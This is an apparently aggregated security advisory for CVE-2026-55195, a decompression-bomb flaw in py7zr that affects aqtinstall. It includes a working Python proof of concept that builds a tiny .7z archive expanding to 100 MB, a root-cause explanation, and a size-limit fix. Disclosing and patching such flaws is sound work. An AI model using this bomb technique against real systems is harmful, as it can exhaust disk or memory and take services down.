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BREW-aqtinstall-CVE-2026-55195 — py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size

Affected: Homebrew: aqtinstall

py7zr's `Worker.decompress()` extracts archive entries without tracking total decompressed size. A crafted `.7z` file can exhaust disk or memory before the extraction completes.

Measured: 15.6 KB archive → 100 MB output (6,556:1 ratio).

**Proof of concept:**

```python import py7zr, tempfile, os

# create bomb: compress 100MB of zeros into ~15KB bomb_path = tempfile.mktemp(suffix='.7z') with py7zr.SevenZipFile(bomb_path, 'w') as z: import io z.writef(io.BytesIO(b'\x00' * 100 * 1024 * 1024), 'bomb.bin')

print(f'archive size: {os.path.getsize(bomb_path):,} bytes')

# extract — no size check with py7zr.SevenZipFile(bomb_path, 'r') as z: z.extractall(path=tempfile.mkdtemp())

print('extracted 100 MB from ~15 KB archive') ```

**Root cause:** `Worker.decompress()` in `py7zr/worker.py` writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python's `zipfile` `max_size` parameter.

**Fix:** track cumulative decompressed bytes and raise before writing if a limit is exceeded:

```python MAX_EXTRACT_SIZE = 2 * 1024 ** 3 # 2 GB default, configurable

total = 0 for chunk in decompressed_chunks: total += len(chunk) if total > MAX_EXTRACT_SIZE: raise py7zr.exceptions.DecompressionBombError( f'Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes' ) outfile.write(chunk) ```

Tested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04.

CVE-2026-55195 — py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size

Affected: miurahr py7zr

py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, py7zr's Worker.decompress() extracted archive entries without tracking total decompressed size, allowing a crafted .7z file such as a 15.6 KB archive that expands to 100 MB to exhaust disk or memory before extraction completes. This issue is fixed in version 1.1.3.

GHSA-gjrg-mpp7-g774 — py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size

Affected: PyPI: py7zr